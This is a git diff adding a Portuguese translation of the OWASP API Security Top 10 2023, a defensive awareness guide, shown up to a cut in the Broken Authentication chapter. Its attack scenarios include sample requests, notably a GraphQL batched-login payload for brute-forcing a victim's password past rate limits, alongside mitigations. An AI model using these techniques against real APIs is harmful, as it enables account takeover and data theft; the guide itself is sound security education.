diff --git a/VERSION b/VERSION index 914ec9671..9aa34646d 100644 --- a/VERSION +++ b/VERSION @@ -1 +1 @@ -2.6.0 \ No newline at end of file +2.7.0 \ No newline at end of file diff --git a/editions/2023/mkdocs.yml b/editions/2023/mkdocs.yml index 962754761..c8126cb85 100644 --- a/editions/2023/mkdocs.yml +++ b/editions/2023/mkdocs.yml @@ -11,3 +11,5 @@ extra: lang: fr - name: Persian lang: fa + - name: Português (Portugal) + lang: pt-pt diff --git a/editions/2023/pt-pt/0x00-header.md b/editions/2023/pt-pt/0x00-header.md new file mode 100644 index 000000000..2b26af67e --- /dev/null +++ b/editions/2023/pt-pt/0x00-header.md @@ -0,0 +1,14 @@ +--- +title: '' +description: OWASP API Security Top 10 2023 +--- + +![OWASP LOGO](images/cover.jpg) + +| | | | +| - | - | - | +| https://owasp.org | Distribuído ao abrigo da licença [Creative Commons Attribution-ShareAlike 4.0 International License][1] | ![Creative Commons License Logo](images/front-cc.png) | + +[1]: http://creativecommons.org/licenses/by-sa/4.0/ + + diff --git a/editions/2023/pt-pt/0x00-notice.md b/editions/2023/pt-pt/0x00-notice.md new file mode 100644 index 000000000..70f915752 --- /dev/null +++ b/editions/2023/pt-pt/0x00-notice.md @@ -0,0 +1,14 @@ +# Nota + +Esta é a versão de texto do OWASP API Security Top 10, usada como fonte para +quaisquer versões oficiais deste documento como por exemplo o website. + +Contribuições para o projeto tais como comentários, correções ou traduções devem +ser feitas aqui. Para mais detalhes sobre [Como Contribuir][1], por favor +consulte a secção [CONTRIBUTING.md][1]. + +* Erez Yallon +* Inon Shkedy +* Paulo Silva + +[1]: ../../../CONTRIBUTING.md diff --git a/editions/2023/pt-pt/0x00-toc.md b/editions/2023/pt-pt/0x00-toc.md new file mode 100644 index 000000000..0805d5232 --- /dev/null +++ b/editions/2023/pt-pt/0x00-toc.md @@ -0,0 +1,23 @@ +# Tabela de Conteúdos + +* [Tabela de Conteúdos](0x00-toc.md) +* [Sobre a OWASP](0x01-about-owasp.md) +* [Prefácio](0x02-foreword.md) +* [Introdução](0x03-introduction.md) +* [Notas da Versão](0x04-release-notes.md) +* [Riscos de Segurança em APIs](0x10-api-security-risks.md) +* [OWASP Top 10 API Security Risks – 2023](0x11-t10.md) +* [API1:2023 Broken Object Level Authorization](0xa1-broken-object-level-authorization.md) +* [API2:2023 Broken Authentication](0xa2-broken-authentication.md) +* [API3:2023 Broken Object Property Level Authorization](0xa3-broken-object-property-level-authorization.md) +* [API4:2023 Unrestricted Resource Consumption](0xa4-unrestricted-resource-consumption.md) +* [API5:2023 Broken Function Level Authorization](0xa5-broken-function-level-authorization.md) +* [API6:2023 Unrestricted Access to Sensitive Business Flows](0xa6-unrestricted-access-to-sensitive-business-flows.md) +* [API7:2023 Server Side Request Forgery](0xa7-server-side-request-forgery.md) +* [API8:2023 Security Misconfiguration](0xa8-security-misconfiguration.md) +* [API9:2023 Improper Inventory Management](0xa9-improper-inventory-management.md) +* [API10:2023 Unsafe Consumption of APIs](0xaa-unsafe-consumption-of-apis.md) +* [O Que Se Segue Para Programadores](0xb0-next-devs.md) +* [O que Se Segue Para DevSecOps](0xb1-next-devsecops.md) +* [Metodologia e Dados](0xd0-about-data.md) +* [Agradecimentos](0xd1-acknowledgments.md) diff --git a/editions/2023/pt-pt/0x01-about-owasp.md b/editions/2023/pt-pt/0x01-about-owasp.md new file mode 100644 index 000000000..a9b862987 --- /dev/null +++ b/editions/2023/pt-pt/0x01-about-owasp.md @@ -0,0 +1,62 @@ +# Sobre a OWASP + +Open Worldwide Application Security Project (OWASP) é uma comunidade aberta que +se dedica a ajudar as organizações a desenvolver, adquirir e manter aplicações e +APIs confiáveis. + +A OWASP disponibiliza de forma livre e aberta: + +* Ferramentas e normas de segurança aplicacional. +* Livros completos sobre testes de segurança aplicacional, desenvolvimento + de código seguro e revisão de código focada em segurança. +* Apresentações e [vídeos][1]. +* [_Cheat Sheets_][2] sobre assuntos diversos. +* Controlos e bibliotecas de segurança _standard_. +* [Comunidades locais espalhadas por todo o mundo][3]. +* Investigação de ponta. +* Múltiplas [conferências em todo o mundo][4]. +* [Listas de discussão][5] ([arquivo][6]). + +Mais informação em: [https://www.owasp.org][7]. + +Todas as ferramentas, documentos, vídeos, apresentações e comunidades locais da +OWASP são livres e abertos a todos os interessados em melhorar a segurança +aplicacional. + +Aconselhamos uma abordagem à segurança aplicacional como sendo um problema de +pessoas, processos e tecnologia, porque as abordagens mais eficazes à segurança +aplicacional necessitam de melhorias em todas estas áreas. + +A OWASP é um novo tipo de organização. A nossa independência em relação a +pressões comerciais permite-nos fornecer informação imparcial, prática e +economicamente adequada sobre a segurança aplicacional. + +A OWASP não está afiliada com nenhuma empresa tecnológica, embora suportemos o +uso informado de tecnologias de segurança comerciais. A OWASP produz muitos +tipos de materiais de uma forma colaborativa, transparente e aberta. + +A fundação OWASP é uma entidade sem fins lucrativos o que assegura o sucesso a +longo prazo do projeto. Quase todas as pessoas associadas à OWASP são +voluntárias, incluindo a direção da OWASP, os líderes das comunidades locais, os +líderes dos projetos e os seus membros. Suportamos investigação inovadora em +segurança através de bolsas e infraestrutura. + +Junte-se a nós! + +## Direitos de Autor e Licença + +![license](images/license.png) + +Copyright © 2003-2023 The OWASP Foundation. Este documento é distribuído de +acordo com a licença [Creative Commons Attribution Share-Alike 4.0 license][8]. +Para qualquer tipo de reutilização ou distribuição, deve deixar claro para +terceiros os termos da licença deste trabalho. + +[1]: https://www.youtube.com/user/OWASPGLOBAL +[2]: https://cheatsheetseries.owasp.org/ +[3]: https://owasp.org/chapters/ +[4]: https://owasp.org/events/ +[5]: https://groups.google.com/a/owasp.org/forum/#!overview +[6]: https://lists.owasp.org/mailman/listinfo +[7]: https://www.owasp.org +[8]: http://creativecommons.org/licenses/by-sa/4.0/ diff --git a/editions/2023/pt-pt/0x02-foreword.md b/editions/2023/pt-pt/0x02-foreword.md new file mode 100644 index 000000000..500ff338f --- /dev/null +++ b/editions/2023/pt-pt/0x02-foreword.md @@ -0,0 +1,47 @@ +# Prefácio + +As APIs - _Application Programming Interface_ têm um papel fundamental na +inovação que observamos nos dias de hoje ao nível das aplicações. Desde a banca, +retalho e transportes à Internet das Coisas (IoT), veículos autónomos e _Smart +Cities_, as APIs são hoje um elemento crítico nas aplicações móveis, _Software +as a Service_ (SaaS) e aplicações web, sejam elas destinadas ao público em +geral, parceiros de negócio ou para uso interno das organizações. + +Por definição as APIs expõem lógica aplicacional e dados sensíveis tais como +informação pessoal (PII - _Personally Identifiable Information_), motivo pelo +qual se têm vindo a tornar um alvo para os atacantes. Se não conseguirmos +garantir a segurança das APIs será impossível continuar a inovar a um ritmo +acelerado. + +Apesar de continuar a fazer sentindo manter uma lista dos 10 principais +problemas de segurança em aplicações web, devido à natureza particular das APIs, +é importante haver também uma tal lista específica para APIs. +A segurança das APIs foca-se nas estratégias e soluções para compreender e +mitigar as vulnerabilidades e risco de segurança associado às APIs. + +Se estiver familiarizado com o projeto [OWASP Top 10][1] com certeza notará as +semelhanças entre os documentos: elas são propositadas para facilitar a leitura +e adoção deste. Se por outro lado for a primeira vez que tem contacto com um +documento da série OWASP Top 10, sugerimos que comece por ler as secções [Riscos +de Segurança em APIs][2] e [Metodologia e Dados][3] antes de aprofundar a lista +dos dez problemas de segurança mais críticos em APIs. + +Pode contribuir para o OWASP API Security Top 10 com perguntas, comentários e +ideias no repositório do projeto no GitHub: + +* https://owasp.org/www-project-api-security/ +* https://github.com/OWASP/API-Security/blob/master/CONTRIBUTING.md + +Pode ainda encontrar o OWASP API Security Top 10 em: + +* https://owasp.org/www-project-api-security/ +* https://github.com/OWASP/API-Security + +Gostaríamos de agradecer a todos os que participaram neste projeto, tornando-o +possível com o seu empenho e contribuições. A lista de contribuidores +encontra-se na secção [Agradecimentos][4]. Obrigado! + +[1]: https://owasp.org/www-project-top-ten/ +[2]: ./0x10-api-security-risks.md +[3]: ./0xd0-about-data.md +[4]: ./0xd1-acknowledgments.md diff --git a/editions/2023/pt-pt/0x03-introduction.md b/editions/2023/pt-pt/0x03-introduction.md new file mode 100644 index 000000000..1e2a15929 --- /dev/null +++ b/editions/2023/pt-pt/0x03-introduction.md @@ -0,0 +1,60 @@ +# Introdução + +## Bem-vindo ao OWASP API Security Top 10 - 2023! + +Bem-vindo à segunda edição do OWASP API Security Top 10! + +Este documento de consciencialização foi publicado pela primeira vez em 2019. +Desde então, a indústria de segurança das APIs cresceu e ganhou maturidade. Nós +acreditamos fortemente que este trabalho contribuiu positivamente para tal, +devido a ter sido adotado rapidamente como referência na indústria. + +As APIs desempenham um papel muito importante na arquitetura das aplicações +modernas. Devido à inovação ter um ritmo diferente do que a sensibilização +para a segurança, nós acreditamos que é importante concentrarmo-nos nas +falhas de segurança mais comuns das APIs. + +O objetivo principal do OWASP API Security Top 10 é educar todos aqueles +envolvidos no desenvolvimento e manutenção de APIs, como por exemplo, +programadores, _designers_, arquitetos, gestores ou organizações. Pode saber +mais sobre o projeto API Security visitando a [página do projeto][1]. + +Se não estiver familiarizado com a série OWASP Top 10, nós recomendamos que veja +pelo menos os seguintes projetos Top 10: + +* [OWASP Cloud-Native Application Security Top 10][2] +* [OWASP Desktop App Security Top 10][3] +* [OWASP Docker Top 10][4] +* [OWASP Low-Code/No-Code Top 10][5] +* [OWASP Machine Learning Security Top Ten][6] +* [OWASP Mobile Top 10][7] +* [OWASP TOP 10][8] +* [OWASP Top 10 CI/CD Security Risks][9] +* [OWASP Top 10 Client-Side Security Risks][10] +* [OWASP Top 10 Privacy Risks][11] +* [OWASP Serverless Top 10][12] + +Nenhum destes projetos substitui qualquer outro: se está a trabalhar numa +aplicação móvel alimentada por uma API, então é melhor ler os dois documentos +Top 10 correspondentes. O mesmo é válido se estiver a trabalhar num website ou +numa aplicação desktop alimentados por APIs. + +Na secção [Metodologia e Dados][13] pode ler mais sobre como esta edição foi +criada. Por agora encorajamos todos a contribuírem com perguntas, comentários e +ideias no nosso [repositório no GitHub][14] ou através da [_Mailing list_][15]. + +[1]: https://owasp.org/www-project-api-security/ +[2]: https://owasp.org/www-project-cloud-native-application-security-top-10/ +[3]: https://owasp.org/www-project-desktop-app-security-top-10/ +[4]: https://owasp.org/www-project-docker-top-10/ +[5]: https://owasp.org/www-project-top-10-low-code-no-code-security-risks/ +[6]: https://owasp.org/www-project-machine-learning-security-top-10/ +[7]: https://owasp.org/www-project-mobile-top-10/ +[8]: https://owasp.org/www-project-top-ten/ +[9]: https://owasp.org/www-project-top-10-ci-cd-security-risks/ +[10]: https://owasp.org/www-project-top-10-client-side-security-risks/ +[11]: https://owasp.org/www-project-top-10-privacy-risks/ +[12]: https://owasp.org/www-project-serverless-top-10/ +[13]: ./0xd0-about-data.md +[14]: https://github.com/OWASP/API-Security +[15]: https://groups.google.com/a/owasp.org/forum/#!forum/api-security-project diff --git a/editions/2023/pt-pt/0x04-release-notes.md b/editions/2023/pt-pt/0x04-release-notes.md new file mode 100644 index 000000000..3f3f32672 --- /dev/null +++ b/editions/2023/pt-pt/0x04-release-notes.md @@ -0,0 +1,49 @@ +# Notas da Versão + +Esta é a segunda edição do OWASP API Security Top 10, exatamente quatro anos +após a primeira versão. Muito mudou no panorama das API (a nível de +segurança). O tráfego das API aumentou a um ritmo acelerado, alguns protocolos +de API ganharam muito mais popularidade, surgiram muitos novos vendedores/ +soluções de segurança para API e, claro, os atacantes desenvolveram novas +capacidades e técnicas para comprometer APIs. Já era hora de atualizar a lista +dos dez riscos de segurança de API mais críticos. + +Com uma indústria de segurança de API mais madura, pela primeira vez, houve [um +apelo público para dados][1]. Infelizmente, não foram fornecidos dados, mas +com base na experiência da equipa do projeto, numa análise cuidadosa por +especialistas em segurança de API e no feedback da comunidade sobre a versão +preliminar, construímos esta nova lista. Na [secção Metodologia e Dados][2], +encontrará mais detalhes sobre como esta versão foi elaborada. Para mais +detalhes sobre os riscos de segurança, consulte a [secção Riscos de Segurança +em APIs][3]. + +O OWASP API Security Top 10 2023 é um documento de sensibilização prospetivo +para uma indústria de ritmo acelerado. Não substitui outros TOP 10. Nesta +edição: + +* Combinámos *Excessive Data Exposure* e *Mass Assignment*, focando na causa + comum: falhas na validação de autorização ao nível das propriedades do objeto. +* Damos mais ênfase ao consumo de recursos, em vez de nos concentrarmos na + rapidez com que são esgotados. +* Criámos uma nova categoria "*Unrestricted Access to Sensitive Business Flows*" + para abordar novas ameaças, incluindo a maioria daquelas que podem ser + mitigadas através de *rate limiting*. +* Adicionámos "*Unsafe Consumption of APIs*" para abordar algo que começámos a + observar: os atacantes começaram a procurar serviços integrados de um alvo + para os comprometer, em vez de atingirem diretamente as APIs do seu alvo. Este + é o momento certo para começar a sensibilizar sobre este risco crescente. + +As APIs desempenham um papel cada vez mais importante na arquitetura moderna de +microsserviços, *Single Page Applications* (SPAs), aplicações móveis, Internet +das Coisas (IoT), etc. O OWASP API Security Top 10 é um esforço necessário para +criar sensibilização sobre os problemas de segurança modernos das APIs. + +Esta atualização só foi possível devido ao grande esforço de vários voluntários, +listados na secção de [Agradecimentos][4]. + +Obrigado! + +[1]: https://owasp.org/www-project-api-security/announcements/cfd/2022/ +[2]: ./0xd0-about-data.md +[3]: ./0x10-api-security-risks.md +[4]: ./0xd1-acknowledgments.md diff --git a/editions/2023/pt-pt/0x10-api-security-risks.md b/editions/2023/pt-pt/0x10-api-security-risks.md new file mode 100644 index 000000000..41ab360a5 --- /dev/null +++ b/editions/2023/pt-pt/0x10-api-security-risks.md @@ -0,0 +1,49 @@ +# Riscos de Segurança em APIs + +Para a análise de risco usámos a [metodologia de avaliação de risco da +OWASP][1]. + +A tabela seguinte resume a terminologia associada à pontuação correspondente ao +nível de risco. + +| Agentes Ameaça | Abuso | Prevalência | Deteção | Impacto Técnico | Impacto Negócio | +| :-: | :-: | :-: | :-: | :-: | :-: | +| Específico da API | Fácil **3** | Predominante **3** | Fácil **3** | Grave **3** | Específico do Negócio | +| Específico da API | Moderado **2** | Comum **2** | Moderado **2** | Moderado **2** | Específico do Negócio | +| Específico da API | Difícil **1** | Incomum **1** | Difícil **1** | Reduzido **1** | Específico do Negócio | + +**Nota**: Esta abordagem não toma em consideração a probabilidade do Agente de +Ameaça. Também não toma em consideração nenhum detalhe técnico associado à sua +API. Qualquer um destes fatores podem ter impacto significativo na probabilidade +de um atacante encontrar e abusar duma falha de segurança particular. Estes +indicadores não tomam em consideração o impacto atual no seu negócio. Terá de +ser a sua organização a decidir qual o nível de risco para a segurança das suas +aplicações e APIs que está disposta a aceitar, baseado na cultura, indústria e +regulação a que está sujeita. O propósito do OWASP API Security Top 10 não é +fazer essa análise por si. Uma vez que esta edição não é baseada em dados, a +prevalência resulta de um consenso entre os membros da equipa. + +## Referências + +### OWASP + +* [OWASP Risk Rating Methodology][1] +* [Article on Threat/Risk Modeling][2] + +### Externas + +* [ISO 31000: Risk Management Std][3] +* [ISO 27001: ISMS][4] +* [NIST Cyber Framework (US)][5] +* [ASD Strategic Mitigations (AU)][6] +* [NIST CVSS 3.0][7] +* [Microsoft Threat Modeling Tool][8] + +[1]: https://owasp.org/www-project-risk-assessment-framework/ +[2]: https://owasp.org/www-community/Threat_Modeling +[3]: https://www.iso.org/iso-31000-risk-management.html +[4]: https://www.iso.org/isoiec-27001-information-security.html +[5]: https://www.nist.gov/cyberframework +[6]: https://www.asd.gov.au/infosec/mitigationstrategies.htm +[7]: https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator +[8]: https://www.microsoft.com/en-us/download/details.aspx?id=49168 diff --git a/editions/2023/pt-pt/0x11-t10.md b/editions/2023/pt-pt/0x11-t10.md new file mode 100644 index 000000000..84612e31b --- /dev/null +++ b/editions/2023/pt-pt/0x11-t10.md @@ -0,0 +1,28 @@ +# OWASP Top 10 API Security Risks – 2023 + +| Risk | Description | +| ---- | ----------- | +| [API1:2023 - Broken Object Level Authorization][api1] | As APIs tendem a expor mais _endpoints_ que manipulam identificadores de objetos, tornando as falhas no controlo de acessos mais suscetíveis a ataques. A verificação da autorização para acesso aos objetos deve ser tida em consideração em todas as funções que acedem a dados com base em informação fornecida pelo utilizador.| +| [API2:2023 - Broken Authentication][api2] | Com frequência os mecanismos de autenticação são implementados de forma incorreta, permitindo aos atacantes comprometer os _tokens_ de autenticação ou abusar das falhas na implementação por forma a assumir a identidade de outros utilizadores de forma temporária ou permanente. | +| [API3:2023 - Broken Object Property Level Authorization][api3] | Esta categoria combina [API3:2019 - Excessive Data Exposure][1] e [API6:2019 - Mass Assignment][2], focando na causa principal: a falta de validação de autorização adequada ao nível das propriedades do objeto. Isso leva à exposição ou manipulação de informações por partes não autorizadas. | +| [API4:2023 - Unrestricted Resource Consumption][api4] | Satisfazer pedidos de API requer recursos como largura de banda de rede, CPU, memória e armazenamento. Outros recursos como emails/SMS/chamadas telefónicas ou validação biométrica são disponibilizados por fornecedores de serviços através de integrações de API, sendo pagos por pedido. Ataques bem-sucedidos podem levar a uma negação do serviço (DoS) ou a um aumento dos custos operacionais. | +| [API5:2023 - Broken Function Level Authorization][api5] | Políticas de controlo de acesso complexas com diferentes níveis hierárquicos, grupos e perfis e uma não tão clara separação entre o que são ou não funcionalidades administrativas tendem a conduzir a falhas de autorização. Abusando destas falhas os atacantes podem ganhar acesso a recursos de outros utilizadores e/ou a funcionalidades administrativas. | +| [API6:2023 - Unrestricted Access to Sensitive Business Flows][api6] | As APIs vulneráveis a este risco expõem um fluxo de negócio - como comprar um bilhete ou publicar um comentário - sem compensar por como a funcionalidade poderia prejudicar o negócio se fosse usada de forma excessiva e automatizada. Isto não resulta necessariamente de falhas de implementação. | +| [API7:2023 - Server Side Request Forgery][api7] | As falhas de Server-Side Request Forgery (SSRF) podem ocorrer quando uma API está a obter um recurso remoto sem validar o URI fornecido pelo utilizador. Isto permite que um atacante force a aplicação a enviar um pedido manipulado para um destino inesperado, mesmo quando protegido por um firewall ou uma VPN. | +| [API8:2023 - Security Misconfiguration][api8] | As APIs e os sistemas que as suportam normalmente contêm configurações complexas, destinadas a tornar as APIs mais personalizáveis. Os engenheiros de software e de DevOps podem ignorar essas configurações ou não seguir as melhores práticas de segurança quando se trata de configuração, abrindo a porta para diferentes tipos de ataques. | +| [API9:2023 - Improper Inventory Management][api9] | As APIs tendem a expor mais _endpoints_ do que as aplicações web tradicionais, fazendo com que a documentação se torne ainda mais importante. Um inventário dos _hosts_ e APIs em execução também têm um papel importante na mitigação de falhas tais como versões de APIs descontinuadas e exposição de _endpoints_ para análise de problemas. | +| [API10:2023 - Unsafe Consumption of APIs][api10] | Os programadores tendem a confiar mais nos dados recebidos de APIs de terceiros do que os fornecidos pelo utilizador, e por isso tendem a adotar padrões de segurança mais fracos. Para comprometer APIs, os atacantes visam os serviços de terceiros integrados em vez de tentarem comprometer a API alvo diretamente. | + +[1]: https://owasp.org/API-Security/editions/2019/en/0xa3-excessive-data-exposure/ +[2]: https://owasp.org/API-Security/editions/2019/en/0xa6-mass-assignment/ +[3]: https://owasp.org/API-Security/editions/2019/en/0xa4-lack-of-resources-and-rate-limiting/ +[api1]: 0xa1-broken-object-level-authorization.md +[api2]: 0xa2-broken-authentication.md +[api3]: 0xa3-broken-object-property-level-authorization.md +[api4]: 0xa4-unrestricted-resource-consumption.md +[api5]: 0xa5-broken-function-level-authorization.md +[api6]: 0xa6-unrestricted-access-to-sensitive-business-flows.md +[api7]: 0xa7-server-side-request-forgery.md +[api8]: 0xa8-security-misconfiguration.md +[api9]: 0xa9-improper-inventory-management.md +[api10]: 0xaa-unsafe-consumption-of-apis.md diff --git a/editions/2023/pt-pt/0xa1-broken-object-level-authorization.md b/editions/2023/pt-pt/0xa1-broken-object-level-authorization.md new file mode 100644 index 000000000..2d12ea930 --- /dev/null +++ b/editions/2023/pt-pt/0xa1-broken-object-level-authorization.md @@ -0,0 +1,114 @@ +# API1:2023 Broken Object Level Authorization + +| Agentes Ameaça/Vetores Ataque | Falha Segurança | Impactos | +| - | - | - | +| Específico da API : Abuso **Fácil** | Prevalência **Predominante** : Deteção **Fácil** | Técnico **Moderado** : Específico do Negócio | +| Os atacantes podem explorar *endpoints* de API vulneráveis a *broken object-level authorization* ao manipular o ID de um objeto enviado no pedido. Os IDs de objetos podem ser números inteiros sequenciais, UUIDs ou *strings* genéricas. Independentemente do tipo de dado, são fáceis de identificar no alvo do pedido (parâmetros do caminho ou da *string* de consulta), cabeçalhos do pedido ou até mesmo como parte do conteúdo do pedido. | Este problema é extremamente comum em aplicações baseadas em API porque o componente do servidor geralmente não acompanha completamente o estado do cliente e, em vez disso, confia mais em parâmetros como IDs de objetos, que são enviados pelo cliente para decidir a quais objetos aceder. A resposta do servidor geralmente é suficiente para entender se o pedido foi bem sucedido. | O acesso não autorizado a objetos de outros utilizadores pode resultar na divulgação de dados a partes não autorizadas, perda de dados ou manipulação de dados. Em certas circunstâncias, o acesso não autorizado a objetos também pode resultar na apropriação completa da conta. | + +## A API é vulnerável? + +A autorização de acesso ao nível do objeto é um mecanismo de controlo que +geralmente é implementado ao nível do código para validar que um utilizador só +pode aceder aos objetos aos quais deveria ter permissão para aceder. + +Cada *endpoint* de API que recebe um ID de um objeto e realiza alguma ação sobre +o objeto deve implementar verificações de autorização ao nível do objeto. As +verificações devem validar que o utilizador autenticado tem permissões para +realizar a ação solicitada sobre o objeto alvo. + +As falhas neste mecanismo geralmente conduzem à divulgação não autorizada de +informações, modificação ou destruição de todos os dados. + +Comparar o ID do utilizador da sessão atual (e.g. ao extraí-lo do token JWT) com +o parâmetro de ID vulnerável não é uma solução suficiente para resolver a falha +de Broken Object Level Authorization (BOLA). Esta abordagem pode endereçar +apenas um pequeno subconjunto de casos. + +No caso de BOLA, é por design que o utilizador tem acesso ao *endpoint*/função +da API vulnerável. A violação ocorre ao nível do objeto, através da manipulação +do ID. Se um atacante conseguir aceder a um *endpoint*/função da API ao qual não +deveria ter acesso - este é um caso de [Broken Function Level Authorization][5] +(BFLA) em vez de BOLA. + +## Exemplos de Cenários de Ataque + +### Cenário #1 + +Uma plataforma de comércio eletrónico para criar lojas online oferece uma página +de listagem com gráficos relativos à receita das lojas. Inspecionando os pedidos +realizados pelo navegador um atacante identifica os _endpoints_ da API usados +para obter os dados a partir dos quais são gerados os gráficos bem como o seu +padrão `/shops/{shopName}/revenue_data.json`. Utilizado outro _endpoint_ da API +o atacante obtém a lista com o nome de todas as lojas. Com recurso a um _script_ +simples para substituir `{shopName}` no URL pelos nomes que constam da lista, o +atacante consegue acesso aos dados relativos às vendas de milhares de lojas +online. + +### Cenário #2 + +Um fabricante de automóveis habilitou o controlo remoto dos seus veículos +através de uma API para comunicação com o telemóvel do condutor. A API permite +ao condutor iniciar e parar o motor e trancar e destrancar as portas +remotamente. Como parte deste processo, o utilizador envia o Número de +Identificação do Veículo (VIN) para a API. No entanto, a API não valida se o VIN +representa um veículo que pertence ao utilizador autenticado, o que resulta numa +vulnerabilidade de BOLA. Um atacante pode aceder a veículos que não lhe +pertencem. + +### Cenário #3 + +Um serviço de armazenamento de documentos online permite aos utilizadores +visualizar, editar, armazenar e eliminar os seus documentos. Quando um documento +de um utilizador é eliminado, é enviada uma mutação GraphQL com o ID do +documento para a API. + +``` +POST /graphql +{ + "operationName":"deleteReports", + "variables":{ + "reportKeys":[""] + }, + "query":"mutation deleteReports($siteId: ID!, $reportKeys: [String]!) { + { + deleteReports(reportKeys: $reportKeys) + } + }" +} +``` + +Uma vez que o documento com o ID fornecido é eliminado sem quaisquer +verificações adicionais de permissão, um utilizador pode conseguir eliminar o +documento de outro utilizador. + +## Como Prevenir + +* Implementar um mecanismo de autorização baseado nas políticas de utilizador e + hierarquia. +* Utilizar um mecanismo de autorização para verificar se o utilizador com sessão + ativa tem permissão para realizar a ação pretendida sobre o registo. Esta + verificação deve ser feita por todas as funções que utilizem informação + fornecida pelo cliente para aceder a um registo na base de dados. +* Utilizar preferencialmente valores aleatórios e não previsíveis (e.g., GUID) + como identificador para os registos. +* Escrever testes para avaliar o correto funcionamento do mecanismo de + autorização. Não colocar em produção alterações vulneráveis que não passem nos + testes. + +## Referências + +### OWASP + +* [Authorization Cheat Sheet][1] +* [Authorization Testing Automation Cheat Sheet][2] + +### Externas + +* [CWE-285: Improper Authorization][3] +* [CWE-639: Authorization Bypass Through User-Controlled Key][4] + +[1]: https://cheatsheetseries.owasp.org/cheatsheets/Authorization_Cheat_Sheet.html +[2]: https://cheatsheetseries.owasp.org/cheatsheets/Authorization_Testing_Automation_Cheat_Sheet.html +[3]: https://cwe.mitre.org/data/definitions/285.html +[4]: https://cwe.mitre.org/data/definitions/639.html +[5]: ./0xa5-broken-function-level-authorization.md diff --git a/editions/2023/pt-pt/0xa2-broken-authentication.md b/editions/2023/pt-pt/0xa2-broken-authentication.md new file mode 100644 index 000000000..3c57c44f8 --- /dev/null +++ b/editions/2023/pt-pt/0xa2-broken-authentication.md @@ -0,0 +1,140 @@ +# API2:2023 Broken Authentication + +| Agentes Ameaça/Vetores Ataque | Falha Segurança | Impactos | +| - | - | - | +| Específico da API : Abuso **Fácil** | Prevalência **Comum** : Deteção **Fácil** | Técnico **Grave** : Específico Negócio | +| O mecanismo de autenticação é um alvo fácil para os atacantes, uma vez que está exposto a todos. Embora possam ser necessárias competências técnicas mais avançadas para explorar alguns problemas de autenticação, geralmente existem ferramentas de exploração disponíveis. | As conceções erradas dos engenheiros de software e de segurança sobre os limites da autenticação e a complexidade inerente da implementação tornam os problemas de autenticação prevalentes. Metodologias para detetar *broken authentication* estão disponíveis e são fáceis de criar. | Os atacantes podem obter controlo total das contas de outros utilizadores no sistema, ler os seus dados pessoais e realizar ações sensíveis em seu nome. Os sistemas têm pouca probabilidade de conseguir distinguir as ações dos atacantes das ações legítimas dos utilizadores. | + +## A API é vulnerável? + +Os _endpoints_ e fluxos de autenticação são ativos que carecem de proteção. Além +disso, mecanismos de recuperação de _password_ devem ser tratados da mesma forma +que os mecanismos de autenticação. + +Uma API é vulnerável se: + +* Permite ataques de _credential stuffing_, onde o atacante utiliza força bruta + com uma lista de nomes de utilizador e palavras-passe válidos. +* Permite ataques de força bruta a uma conta de utilizador específica, não + implementando mecanismos de mitigação como _captcha_ ou bloqueio da conta por + excesso de tentativas de autenticação falhadas. +* Permite a utilização de _passwords_ fracas. +* Envia informação de autenticação, tal como _tokens_ e _passwords_, no URL. +* Permite que os utilizadores alterem o seu endereço de email, _password_ atual + ou realizem outras operações sensíveis sem pedir a confirmação da _password_. +* Não valida a autenticidade dos _tokens_ de autenticação. +* Aceita _tokens_ JWT sem que estes sejam assinados/usando algoritmos fracos + `("alg":"none")` +* Não valida a data de expiração dos _tokens_ JWT. +* Utiliza _passwords_ em texto, não encriptadas, ou resumos fracos. +* Utiliza chaves de encriptação fracas. + +Além disso, um microsserviço é vulnerável se: + +* Outros microsserviços podem aceder a ele sem autenticação +* Utiliza tokens fracos ou previsíveis para impor autenticação + +## Exemplos de Cenários de Ataque + +## Cenário #1 + +Para realizar a autenticação do utilizador, o cliente tem de enviar um pedido de +API como o exemplo abaixo, com as credenciais do utilizador: + +``` +POST /graphql +{ + "query":"mutation { + login (username:\"\",password:\"\") { + token + } + }" +} +``` + +Se as credenciais forem válidas, é devolvido um token de autenticação que deve +ser fornecido em pedidos subsequentes para identificar o utilizador. A +quantidade de tentativas de login está sujeita a uma limitação temporal +restritiva: apenas três pedidos são permitidos por minuto. + +Para efetuar login por força bruta com a conta de uma vítima, os atores +maliciosos aproveitam o agrupamento de consultas GraphQL para contornar a +limitação temporal restritiva de pedidos, acelerando o ataque: + +``` +POST /graphql +[ + {"query":"mutation{login(username:\"victim\",password:\"password\"){token}}"}, + {"query":"mutation{login(username:\"victim\",password:\"123456\"){token}}"}, + {"query":"mutation{login(username:\"victim\",password:\"qwerty\"){token}}"}, + ... + {"query":"mutation{login(username:\"victim\",password:\"123\"){token}}"}, +] +``` + +## Cenário #2 + +Para atualizar o endereço de email associado à conta de um utilizador, os +clientes devem enviar um pedido API como o exemplo abaixo: + +``` +PUT /account +Authorization: Bearer + +{ "email": "" } +``` + +Devido à API não exigir que os utilizadores confirmem a sua identidade +fornecendo a sua _password_ atual, atores maliciosos que consigam colocar-se +numa posição de roubar o token de autenticação podem conseguir assumir a conta +da vítima ao iniciar o processo de redefinição de senha após atualizar o +endereço de email da conta da vítima. + +## Como Prevenir + +* Certifique-se de que conhece todos os fluxos de autenticação possíveis (e.g. + móvel/web/_deeplinks_/etc.). Pergunte aos engenheiros responsáveis quais os + fluxos em falta/não identificados. +* Leia sobre os mecanismos de autenticação em uso. Certifique-se que compreende + quais e como são usados. OAuth não é um mecanismo de autenticação, assim como + também não o são as API _keys_. +* Não reinvente a roda em termos de autenticação, geração de _tokens_, + armazenamento de _passwords_. Opte pela utilização de standards. +* _Endpoints_ para recuperação de _password_ devem ser tratados como os + _endpoints_ de _login_ no que diz respeito à proteção contra ataques de força + bruta, limitação do número de pedidos e bloqueio de conta. +* Exija nova autenticação para operações sensíveis (e.g. alterar o + endereço de email do proprietário da conta/número de telefone para + autenticação de dois fatores). +* Utilize a [OWASP Authentication Cheatsheet][1]. +* Sempre que possível implemente autenticação de múltiplos fatores. +* Implemente mecanismos anti-força bruta para mitigar ataques do tipo + _credential stuffing_, dicionário e força bruta nos _endpoints_ de + autenticação. Este mecanismo deve ter configurações mais restritivas do que + para os demais _endpoints_ da API. +* Implemente [mecanismos de bloqueio de conta][2] / _captcha_ para prevenir + ataques de força bruta contra utilizadores específicos. Implemente verificação + da qualidade/força das _passwords_. +* As API _keys_ não devem ser usadas para autenticação dos utilizadores. Apenas + devem ser usadas para autenticação dos [clientes da API][3]. + +## Referências + +### OWASP + +* [Authentication Cheat Sheet][1] +* [Key Management Cheat 